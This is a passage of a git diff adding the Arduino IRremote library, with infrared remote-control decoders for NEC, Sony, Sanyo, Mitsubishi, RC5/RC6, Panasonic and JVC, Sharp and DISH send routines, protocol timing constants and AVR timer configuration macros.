Serial.println("Attempting Sony decode"); +#endif + if (decodeSony(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Sanyo decode"); +#endif + if (decodeSanyo(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Mitsubishi decode"); +#endif + if (decodeMitsubishi(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC5 decode"); +#endif + if (decodeRC5(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC6 decode"); +#endif + if (decodeRC6(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Panasonic decode"); +#endif + if (decodePanasonic(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting JVC decode"); +#endif + if (decodeJVC(results)) { + return DECODED; + } + // decodeHash returns a hash on any input. + // Thus, it needs to be last in the list. + // If you add any decodes, add them before this. + if (decodeHash(results)) { + return DECODED; + } + // Throw away and start over + resume(); + return ERR; +} + +// NECs have a repeat only 4 items long +long IRrecv::decodeNEC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], NEC_HDR_MARK)) { + return ERR; + } + offset++; + // Check for repeat + if (irparams.rawlen == 4 && + MATCH_SPACE(results->rawbuf[offset], NEC_RPT_SPACE) && + MATCH_MARK(results->rawbuf[offset+1], NEC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = NEC; + return DECODED; + } + if (irparams.rawlen < 2 * NEC_BITS + 4) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], NEC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < NEC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], NEC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], NEC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], NEC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + // Success + results->bits = NEC_BITS; + results->value = data; + results->decode_type = NEC; + return DECODED; +} + +long IRrecv::decodeSony(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SONY_BITS + 2) { + return ERR; + } + int offset = 0; // Dont skip first space, check its size + + // Some Sony's deliver repeats fast after first + // unfortunately can't spot difference from of repeat from two fast clicks + if (results->rawbuf[offset] < SONY_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SONY_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SONY_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SONY_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SONY_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SONY; + return DECODED; +} + +// I think this is a Sanyo decoder - serial = SA 8650B +// Looks like Sony except for timings, 48 chars of data and time/space different +long IRrecv::decodeSanyo(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SANYO_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + if (results->rawbuf[offset] < SANYO_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + // Skip Second Mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SANYO_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SANYO_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SANYO_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SANYO; + return DECODED; +} + +// Looks like Sony except for timings, 48 chars of data and time/space different +long IRrecv::decodeMitsubishi(decode_results *results) { + // Serial.print("?!? decoding Mitsubishi:");Serial.print(irparams.rawlen); Serial.print(" want "); Serial.println( 2 * MITSUBISHI_BITS + 2); + long data = 0; + if (irparams.rawlen < 2 * MITSUBISHI_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + /* Not seeing double keys from Mitsubishi + if (results->rawbuf[offset] < MITSUBISHI_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = MITSUBISHI; + return DECODED; + } + */ + offset++; + + // Typical + // 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + + // Initial Space + if (!MATCH_MARK(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + return ERR; + } + offset++; + while (offset + 1 < irparams.rawlen) { + if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ZERO_MARK)) { + data <<= 1; + } + else { + // Serial.println("A"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + // Serial.println("B"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + break; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < MITSUBISHI_BITS) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = MITSUBISHI; + return DECODED; +} + + +// Gets one undecoded level at a time from the raw buffer. +// The RC5/6 decoding is easier if the data is broken into time intervals. +// E.g. if the buffer has MARK for 2 time intervals and SPACE for 1, +// successive calls to getRClevel will return MARK, MARK, SPACE. +// offset and used are updated to keep track of the current position. +// t1 is the time interval for a single bit in microseconds. +// Returns -1 for error (measured time interval is not a multiple of t1). +int IRrecv::getRClevel(decode_results *results, int *offset, int *used, int t1) { + if (*offset >= results->rawlen) { + // After end of recorded buffer, assume SPACE. + return SPACE; + } + int width = results->rawbuf[*offset]; + int val = ((*offset) % 2) ? MARK : SPACE; + int correction = (val == MARK) ? MARK_EXCESS : - MARK_EXCESS; + + int avail; + if (MATCH(width, t1 + correction)) { + avail = 1; + } + else if (MATCH(width, 2*t1 + correction)) { + avail = 2; + } + else if (MATCH(width, 3*t1 + correction)) { + avail = 3; + } + else { + return -1; + } + + (*used)++; + if (*used >= avail) { + *used = 0; + (*offset)++; + } +#ifdef DEBUG + if (val == MARK) { + Serial.println("MARK"); + } + else { + Serial.println("SPACE"); + } +#endif + return val; +} + +long IRrecv::decodeRC5(decode_results *results) { + if (irparams.rawlen < MIN_RC5_SAMPLES + 2) { + return ERR; + } + int offset = 1; // Skip gap space + long data = 0; + int used = 0; + // Get start bits + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != SPACE) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + int nbits; + for (nbits = 0; offset < irparams.rawlen; nbits++) { + int levelA = getRClevel(results, &offset, &used, RC5_T1); + int levelB = getRClevel(results, &offset, &used, RC5_T1); + if (levelA == SPACE && levelB == MARK) { + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == MARK && levelB == SPACE) { + // zero bit + data <<= 1; + } + else { + return ERR; + } + } + + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC5; + return DECODED; +} + +long IRrecv::decodeRC6(decode_results *results) { + if (results->rawlen < MIN_RC6_SAMPLES) { + return ERR; + } + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], RC6_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], RC6_HDR_SPACE)) { + return ERR; + } + offset++; + long data = 0; + int used = 0; + // Get start bit (1) + if (getRClevel(results, &offset, &used, RC6_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC6_T1) != SPACE) return ERR; + int nbits; + for (nbits = 0; offset < results->rawlen; nbits++) { + int levelA, levelB; // Next two levels + levelA = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelA != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + levelB = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelB != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + if (levelA == MARK && levelB == SPACE) { // reversed compared to RC5 + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == SPACE && levelB == MARK) { + // zero bit + data <<= 1; + } + else { + return ERR; // Error + } + } + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC6; + return DECODED; +} +long IRrecv::decodePanasonic(decode_results *results) { + unsigned long long data = 0; + int offset = 1; + + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_SPACE)) { + return ERR; + } + offset++; + + // decode address + for (int i = 0; i < PANASONIC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset++], PANASONIC_BIT_MARK)) { + return ERR; + } + if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ONE_SPACE)) { + data = (data << 1) | 1; + } else if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ZERO_SPACE)) { + data <<= 1; + } else { + return ERR; + } + offset++; + } + results->value = (unsigned long)data; + results->panasonicAddress = (unsigned int)(data >> 32); + results->decode_type = PANASONIC; + results->bits = PANASONIC_BITS; + return DECODED; +} +long IRrecv::decodeJVC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Check for repeat + if (irparams.rawlen - 1 == 33 && + MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK) && + MATCH_MARK(results->rawbuf[irparams.rawlen-1], JVC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = JVC; + return DECODED; + } + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], JVC_HDR_MARK)) { + return ERR; + } + offset++; + if (irparams.rawlen < 2 * JVC_BITS + 1 ) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], JVC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < JVC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], JVC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], JVC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + //Stop bit + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)){ + return ERR; + } + // Success + results->bits = JVC_BITS; + results->value = data; + results->decode_type = JVC; + return DECODED; +} + +/* ----------------------------------------------------------------------- + * hashdecode - decode an arbitrary IR code. + * Instead of decoding using a standard encoding scheme + * (e.g. Sony, NEC, RC5), the code is hashed to a 32-bit value. + * + * The algorithm: look at the sequence of MARK signals, and see if each one + * is shorter (0), the same length (1), or longer (2) than the previous. + * Do the same with the SPACE signals. Hszh the resulting sequence of 0's, + * 1's, and 2's to a 32-bit value. This will give a unique value for each + * different code (probably), for most code systems. + * + * http://arcfn.com/2010/01/using-arbitrary-remotes-with-arduino.html + */ + +// Compare two tick values, returning 0 if newval is shorter, +// 1 if newval is equal, and 2 if newval is longer +// Use a tolerance of 20% +int IRrecv::compare(unsigned int oldval, unsigned int newval) { + if (newval < oldval * .8) { + return 0; + } + else if (oldval < newval * .8) { + return 2; + } + else { + return 1; + } +} + +// Use FNV hash algorithm: http://isthe.com/chongo/tech/comp/fnv/#FNV-param +#define FNV_PRIME_32 16777619 +#define FNV_BASIS_32 2166136261 + +/* Converts the raw code values into a 32-bit hash code. + * Hopefully this code is unique for each button. + * This isn't a "real" decoding, just an arbitrary value. + */ +long IRrecv::decodeHash(decode_results *results) { + // Require at least 6 samples to prevent triggering on noise + if (results->rawlen < 6) { + return ERR; + } + long hash = FNV_BASIS_32; + for (int i = 1; i+2 < results->rawlen; i++) { + int value = compare(results->rawbuf[i], results->rawbuf[i+2]); + // Add value into the hash + hash = (hash * FNV_PRIME_32) ^ value; + } + results->value = hash; + results->bits = 32; + results->decode_type = UNKNOWN; + return DECODED; +} + +/* Sharp and DISH support by Todd Treece ( http://unionbridge.org/design/ircommand ) + +The Dish send function needs to be repeated 4 times, and the Sharp function +has the necessary repeat built in because of the need to invert the signal. + +Sharp protocol documentation: +http://www.sbprojects.com/knowledge/ir/sharp.htm + +Here are the LIRC files that I found that seem to match the remote codes +from the oscilloscope: + +Sharp LCD TV: +http://lirc.sourceforge.net/remotes/sharp/GA538WJSA + +DISH NETWORK (echostar 301): +http://lirc.sourceforge.net/remotes/echostar/301_501_3100_5100_58xx_59xx + +For the DISH codes, only send the last for characters of the hex. +i.e. use 0x1C10 instead of 0x0000000000001C10 which is listed in the +linked LIRC file. +*/ + +void IRsend::sendSharp(unsigned long data, int nbits) { + unsigned long invertdata = data ^ SHARP_TOGGLE_MASK; + enableIROut(38); + for (int i = 0; i < nbits; i++) { + if (data & 0x4000) { + mark(SHARP_BIT_MARK); + space(SHARP_ONE_SPACE); + } + else { + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + } + data <<= 1; + } + + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + delay(46); + for (int i = 0; i < nbits; i++) { + if (invertdata & 0x4000) { + mark(SHARP_BIT_MARK); + space(SHARP_ONE_SPACE); + } + else { + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + } + invertdata <<= 1; + } + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + delay(46); +} + +void IRsend::sendDISH(unsigned long data, int nbits) +{ + enableIROut(56); + mark(DISH_HDR_MARK); + space(DISH_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & DISH_TOP_BIT) { + mark(DISH_BIT_MARK); + space(DISH_ONE_SPACE); + } + else { + mark(DISH_BIT_MARK); + space(DISH_ZERO_SPACE); + } + data <<= 1; + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/IRremote.h b/Projects/libraries/Installed_libs/IRRemote/IRremote.h new file mode 100755 index 0000000..0e5fdf2 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/IRremote.h @@ -0,0 +1,118 @@ +/* + * IRremote + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.htm http://arcfn.com + * Edited by Mitra to add new controller SANYO + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#ifndef IRremote_h +#define IRremote_h + +// The following are compile-time library options. +// If you change them, recompile the library. +// If DEBUG is defined, a lot of debugging output will be printed during decoding. +// TEST must be defined for the IRtest unittests to work. It will make some +// methods virtual, which will be slightly slower, which is why it is optional. +// #define DEBUG +// #define TEST + +// Results returned from the decoder +class decode_results { +public: + int decode_type; // NEC, SONY, RC5, UNKNOWN + unsigned int panasonicAddress; // This is only used for decoding Panasonic data + unsigned long value; // Decoded value + int bits; // Number of bits in decoded value + volatile unsigned int *rawbuf; // Raw intervals in .5 us ticks + int rawlen; // Number of records in rawbuf. +}; + +// Values for decode_type +#define NEC 1 +#define SONY 2 +#define RC5 3 +#define RC6 4 +#define DISH 5 +#define SHARP 6 +#define PANASONIC 7 +#define JVC 8 +#define SANYO 9 +#define MITSUBISHI 10 +#define UNKNOWN -1 + +// Decoded value for NEC when a repeat code is received +#define REPEAT 0xffffffff + +// main class for receiving IR +class IRrecv +{ +public: + IRrecv(int recvpin); + void blink13(int blinkflag); + int decode(decode_results *results); + void enableIRIn(); + void resume(); +private: + // These are called by decode + int getRClevel(decode_results *results, int *offset, int *used, int t1); + long decodeNEC(decode_results *results); + long decodeSony(decode_results *results); + long decodeSanyo(decode_results *results); + long decodeMitsubishi(decode_results *results); + long decodeRC5(decode_results *results); + long decodeRC6(decode_results *results); + long decodePanasonic(decode_results *results); + long decodeJVC(decode_results *results); + long decodeHash(decode_results *results); + int compare(unsigned int oldval, unsigned int newval); + +} +; + +// Only used for testing; can remove virtual for shorter code +#ifdef TEST +#define VIRTUAL virtual +#else +#define VIRTUAL +#endif + +class IRsend +{ +public: + IRsend() {} + void sendNEC(unsigned long data, int nbits); + void sendSony(unsigned long data, int nbits); + // Neither Sanyo nor Mitsubishi send is implemented yet + // void sendSanyo(unsigned long data, int nbits); + // void sendMitsubishi(unsigned long data, int nbits); + void sendRaw(unsigned int buf[], int len, int hz); + void sendRC5(unsigned long data, int nbits); + void sendRC6(unsigned long data, int nbits); + void sendDISH(unsigned long data, int nbits); + void sendSharp(unsigned long data, int nbits); + void sendPanasonic(unsigned int address, unsigned long data); + void sendJVC(unsigned long data, int nbits, int repeat); // *Note instead of sending the REPEAT constant if you want the JVC repeat signal sent, send the original code value and change the repeat argument from 0 to 1. JVC protocol repeats by skipping the header NOT by sending a separate code value like NEC does. + // private: + void enableIROut(int khz); + VIRTUAL void mark(int usec); + VIRTUAL void space(int usec); +} +; + +// Some useful constants + +#define USECPERTICK 50 // microseconds per clock interrupt tick +#define RAWBUF 100 // Length of raw duration buffer + +// Marks tend to be 100us too long, and spaces 100us too short +// when received due to sensor lag. +#define MARK_EXCESS 100 + +#endif diff --git a/Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h b/Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h new file mode 100755 index 0000000..824632f --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h @@ -0,0 +1,457 @@ +/* + * IRremote + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#ifndef IRremoteint_h +#define IRremoteint_h + +#if defined(ARDUINO) && ARDUINO >= 100 +#include +#else +#include +#endif + +// define which timer to use +// +// Uncomment the timer you wish to use on your board. If you +// are using another library which uses timer2, you have options +// to switch IRremote to use a different timer. + +// Arduino Mega +#if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) + //#define IR_USE_TIMER1 // tx = pin 11 + #define IR_USE_TIMER2 // tx = pin 9 + //#define IR_USE_TIMER3 // tx = pin 5 + //#define IR_USE_TIMER4 // tx = pin 6 + //#define IR_USE_TIMER5 // tx = pin 46 + +// Teensy 1.0 +#elif defined(__AVR_AT90USB162__) + #define IR_USE_TIMER1 // tx = pin 17 + +// Teensy 2.0 +#elif defined(__AVR_ATmega32U4__) + //#define IR_USE_TIMER1 // tx = pin 14 + //#define IR_USE_TIMER3 // tx = pin 9 + #define IR_USE_TIMER4_HS // tx = pin 10 + +// Teensy++ 1.0 & 2.0 +#elif defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__) + //#define IR_USE_TIMER1 // tx = pin 25 + #define IR_USE_TIMER2 // tx = pin 1 + //#define IR_USE_TIMER3 // tx = pin 16 + +// Sanguino +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) + //#define IR_USE_TIMER1 // tx = pin 13 + #define IR_USE_TIMER2 // tx = pin 14 + +// Atmega8 +#elif defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define IR_USE_TIMER1 // tx = pin 9 + +#elif defined( __AVR_ATtinyX4__ ) + #define IR_USE_TIMER1 // tx = pin 6 + +// Arduino Duemilanove, Diecimila, LilyPad, Mini, Fio, etc +#else + //#define IR_USE_TIMER1 // tx = pin 9 + #define IR_USE_TIMER2 // tx = pin 3 +#endif + + + +#ifdef F_CPU +#define SYSCLOCK F_CPU // main Arduino clock +#else +#define SYSCLOCK 16000000 // main Arduino clock +#endif + +#define ERR 0 +#define DECODED 1 + + +// defines for setting and clearing register bits +#ifndef cbi +#define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit)) +#endif +#ifndef sbi +#define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit)) +#endif + +// Pulse parms are *50-100 for the Mark and *50+100 for the space +// First MARK is the one after the long gap +// pulse parameters in usec +#define NEC_HDR_MARK 9000 +#define NEC_HDR_SPACE 4500 +#define NEC_BIT_MARK 560 +#define NEC_ONE_SPACE 1600 +#define NEC_ZERO_SPACE 560 +#define NEC_RPT_SPACE 2250 + +#define SONY_HDR_MARK 2400 +#define SONY_HDR_SPACE 600 +#define SONY_ONE_MARK 1200 +#define SONY_ZERO_MARK 600 +#define SONY_RPT_LENGTH 45000 +#define SONY_DOUBLE_SPACE_USECS 500 // usually ssee 713 - not using ticks as get number wrapround + +// SA 8650B +#define SANYO_HDR_MARK 3500 // seen range 3500 +#define SANYO_HDR_SPACE 950 // seen 950 +#define SANYO_ONE_MARK 2400 // seen 2400 +#define SANYO_ZERO_MARK 700 // seen 700 +#define SANYO_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +#define SANYO_RPT_LENGTH 45000 + +// Mitsubishi RM 75501 +// 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + +// #define MITSUBISHI_HDR_MARK 250 // seen range 3500 +#define MITSUBISHI_HDR_SPACE 350 // 7*50+100 +#define MITSUBISHI_ONE_MARK 1950 // 41*50-100 +#define MITSUBISHI_ZERO_MARK 750 // 17*50-100 +// #define MITSUBISHI_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +// #define MITSUBISHI_RPT_LENGTH 45000 + + +#define RC5_T1 889 +#define RC5_RPT_LENGTH 46000 + +#define RC6_HDR_MARK 2666 +#define RC6_HDR_SPACE 889 +#define RC6_T1 444 +#define RC6_RPT_LENGTH 46000 + +#define SHARP_BIT_MARK 245 +#define SHARP_ONE_SPACE 1805 +#define SHARP_ZERO_SPACE 795 +#define SHARP_GAP 600000 +#define SHARP_TOGGLE_MASK 0x3FF +#define SHARP_RPT_SPACE 3000 + +#define DISH_HDR_MARK 400 +#define DISH_HDR_SPACE 6100 +#define DISH_BIT_MARK 400 +#define DISH_ONE_SPACE 1700 +#define DISH_ZERO_SPACE 2800 +#define DISH_RPT_SPACE 6200 +#define DISH_TOP_BIT 0x8000 + +#define PANASONIC_HDR_MARK 3502 +#define PANASONIC_HDR_SPACE 1750 +#define PANASONIC_BIT_MARK 502 +#define PANASONIC_ONE_SPACE 1244 +#define PANASONIC_ZERO_SPACE 400 + +#define JVC_HDR_MARK 8000 +#define JVC_HDR_SPACE 4000 +#define JVC_BIT_MARK 600 +#define JVC_ONE_SPACE 1600 +#define JVC_ZERO_SPACE 550 +#define JVC_RPT_LENGTH 60000 + +#define SHARP_BITS 15 +#define DISH_BITS 16 + +#define TOLERANCE 25 // percent tolerance in measurements +#define LTOL (1.0 - TOLERANCE/100.) +#define UTOL (1.0 + TOLERANCE/100.) + +#define _GAP 5000 // Minimum map between transmissions +#define GAP_TICKS (_GAP/USECPERTICK) + +#define TICKS_LOW(us) (int) (((us)*LTOL/USECPERTICK)) +#define TICKS_HIGH(us) (int) (((us)*UTOL/USECPERTICK + 1)) + +// receiver states +#define STATE_IDLE 2 +#define STATE_MARK 3 +#define STATE_SPACE 4 +#define STATE_STOP 5 + +// information for the interrupt handler +typedef struct { + uint8_t recvpin; // pin for IR data from detector + uint8_t rcvstate; // state machine + uint8_t blinkflag; // TRUE to enable blinking of pin 13 on IR processing + unsigned int timer; // state timer, counts 50uS ticks. + unsigned int rawbuf[RAWBUF]; // raw data + uint8_t rawlen; // counter of entries in rawbuf +} +irparams_t; + +// Defined in IRremote.cpp +extern volatile irparams_t irparams; + +// IR detector output is active low +#define MARK 0 +#define SPACE 1 + +#define TOPBIT 0x80000000 + +#define NEC_BITS 32 +#define SONY_BITS 12 +#define SANYO_BITS 12 +#define MITSUBISHI_BITS 16 +#define MIN_RC5_SAMPLES 11 +#define MIN_RC6_SAMPLES 1 +#define PANASONIC_BITS 48 +#define JVC_BITS 16 + + + + +// defines for timer2 (8 bits) +#if defined(IR_USE_TIMER2) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR2A |= _BV(COM2B1)) +#define TIMER_DISABLE_PWM (TCCR2A &= ~(_BV(COM2B1))) +#define TIMER_ENABLE_INTR (TIMSK2 = _BV(OCIE2A)) +#define TIMER_DISABLE_INTR (TIMSK2 = 0) +#define TIMER_INTR_NAME TIMER2_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint8_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR2A = _BV(WGM20); \ + TCCR2B = _BV(WGM22) | _BV(CS20); \ + OCR2A = pwmval; \ + OCR2B = pwmval / 3; \ +}) +#define TIMER_COUNT_TOP (SYSCLOCK * USECPERTICK / 1000000) +#if (TIMER_COUNT_TOP < 256) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS20); \ + OCR2A = TIMER_COUNT_TOP; \ + TCNT2 = 0; \ +}) +#else +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS21); \ + OCR2A = TIMER_COUNT_TOP / 8; \ + TCNT2 = 0; \ +}) +#endif +#if defined(CORE_OC2B_PIN) +#define TIMER_PWM_PIN CORE_OC2B_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 9 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 14 /* Sanguino */ +#else +#define TIMER_PWM_PIN 3 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer1 (16 bits) +#elif defined(IR_USE_TIMER1) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR1A |= _BV(COM1A1)) +#define TIMER_DISABLE_PWM (TCCR1A &= ~(_BV(COM1A1))) +#if defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define TIMER_ENABLE_INTR (TIMSK = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK = 0) +#else + #define TIMER_ENABLE_INTR (TIMSK1 = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK1 = 0) +#endif + +#if defined(__AVR_ATtinyX4__) + #define TIMER_INTR_NAME TIM1_COMPA_vect +#else + #define TIMER_INTR_NAME TIMER1_COMPA_vect +#endif + +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR1A = _BV(WGM11); \ + TCCR1B = _BV(WGM13) | _BV(CS10); \ + ICR1 = pwmval; \ + OCR1A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR1A = 0; \ + TCCR1B = _BV(WGM12) | _BV(CS10); \ + OCR1A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT1 = 0; \ +}) +#if defined(CORE_OC1A_PIN) +#define TIMER_PWM_PIN CORE_OC1A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 11 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 13 /* Sanguino */ +#elif defined(__AVR_ATtinyX4__) +#define TIMER_PWM_PIN 6 /* ATTiny84 */ +#else +#define TIMER_PWM_PIN 9 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer3 (16 bits) +#elif defined(IR_USE_TIMER3) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR3A |= _BV(COM3A1)) +#define TIMER_DISABLE_PWM (TCCR3A &= ~(_BV(COM3A1))) +#define TIMER_ENABLE_INTR (TIMSK3 = _BV(OCIE3A)) +#define TIMER_DISABLE_INTR (TIMSK3 = 0) +#define 